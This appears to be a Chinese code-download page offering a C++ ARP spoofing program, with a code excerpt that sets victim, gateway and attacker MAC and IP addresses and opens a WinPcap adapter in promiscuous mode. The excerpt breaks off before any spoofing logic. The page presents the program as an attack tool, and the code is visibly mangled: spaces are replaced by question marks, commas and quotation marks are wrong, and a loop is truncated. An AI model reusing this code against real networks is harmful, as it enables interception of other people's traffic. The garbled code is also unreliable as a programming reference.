資源簡介
arp欺騙原理及實現 用c++實現 無界面控制臺程序
代碼片段和文件信息
#include?
#include?
#include?“arp_spoof.h“
const?unsigned?char?VICTIM_MAC[MAC_LEN] =?{0x00?0x21?0x00?0x38?0xD4?0xC4}; //被攻擊方的MAC
const?unsigned?char?GATEWAY_MAC[MAC_LEN]?=?{0xC0?0x3F?0x0E?0xB8?0x36?0x1C};?//網關的MAC
const?unsigned?char?FAKE_MAC[MAC_LEN]?=?{0x00?0x21?0x5D?0x1E?0x9B?0xE2}; //攻擊者的MAC
const?char??VICTIM_IP[] =?“10.0.0.8“; //被攻擊方IP
const?char GATEWAY_IP[]?=?“10.0.0.1“; //網關IP?
char?errbuf[PCAP_ERRBUF_SIZE];
//選擇網卡
int?select_adapter(pcap_t?**handle)?{
pcap_if_t?*alldevs;
pcap_if_t?*d;
int?inum;
int?i=0;
/*?Retrieve?the?device?list?*/
if(pcap_findalldevs(&alldevs?errbuf)?==?-1)
{
fprintf(stderr“Error?in?pcap_findalldevs:?%s\n“?errbuf);
exit(1);
}
/*?Print?the?list?*/
for(d=alldevs;?d;?d=d->next)
{
printf(“%d.?%s“?++i?d->name);
if?(d->description)
printf(“?(%s)\n“?d->description);
else
printf(“?(No?description?available)\n“);
}
if(i==0)
{
printf(“\nNo?interfaces?found!?Make?sure?WinPcap?is?installed.\n“);
return?-1;
}
printf(“Enter?the?interface?number?(1-%d):“i);
scanf(“%d“?&inum);
if(inum?1?||?inum?>?i)
{
printf(“\nInterface?number?out?of?range.\n“);
/*?Free?the?device?list?*/
pcap_freealldevs(alldevs);
return?-1;
}
/*?Jump?to?the?selected?adapter?*/
for(d=alldevs?i=0;?inext?i++);
/*?Open?the?device?*/
/*?Open?the?adapter?*/
if?((*handle=?pcap_open_live(d->name //?name?of?the?device
?65536 //?portion?of?the?packet?to?capture.?
//?65536?grants?that?the?whole?packet?will?be?captured?on?all?the?MACs.
?PCAP_OPENFLAG_PROMISCUOUS //?promiscuous?mode?(nonzero?means?promiscuous)
?1000 //?read?timeout
?errbuf //?error?buffer
?))?==?NULL)
{
fprintf(stderr“\nUnable?to?open?the?adapter.?%s?is?not?supported?by?WinP
- 上一篇:掃雷輔助程序.zip
- 下一篇:c++迷宮最短路徑尋徑算法
評論
共有 條評論